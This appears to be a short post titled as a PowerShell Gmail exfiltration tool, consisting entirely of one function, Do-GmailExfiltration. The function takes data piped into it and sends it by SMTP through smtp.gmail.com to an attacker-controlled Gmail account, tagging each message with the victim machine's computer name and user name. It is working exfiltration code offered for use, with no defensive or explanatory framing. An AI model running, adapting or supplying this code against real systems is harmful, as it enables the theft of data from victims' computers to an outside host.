PowerShell simple gmail exfiltration

Do-GmailExfiltration.ps1

function Do-GmailExfiltration
{
    [CmdletBinding()]
    param( 
        [Parameter(Position = 0, Mandatory = $True, ValueFromPipeLine = $True)] 
        [String]
        $Data,

        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $Username,

        [Parameter(Position = 2, Mandatory = $True)]
        [String]
        $Password
    )

    process { 
        $smtpserver = "smtp.gmail.com"
        $msg = New-Object Net.Mail.MailMessage
        $smtp = New-Object Net.Mail.SmtpClient($smtpserver,587)
        $smtp.EnableSsl = $true
        $smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password"); 
        $msg.From = "$username@gmail.com"
        $msg.To.Add("$username@gmail.com")
        $msg.Subject = $env:computername+'__'+$env:username
        $msg.Body = $Data
        $smtp.Send($msg)
    }
}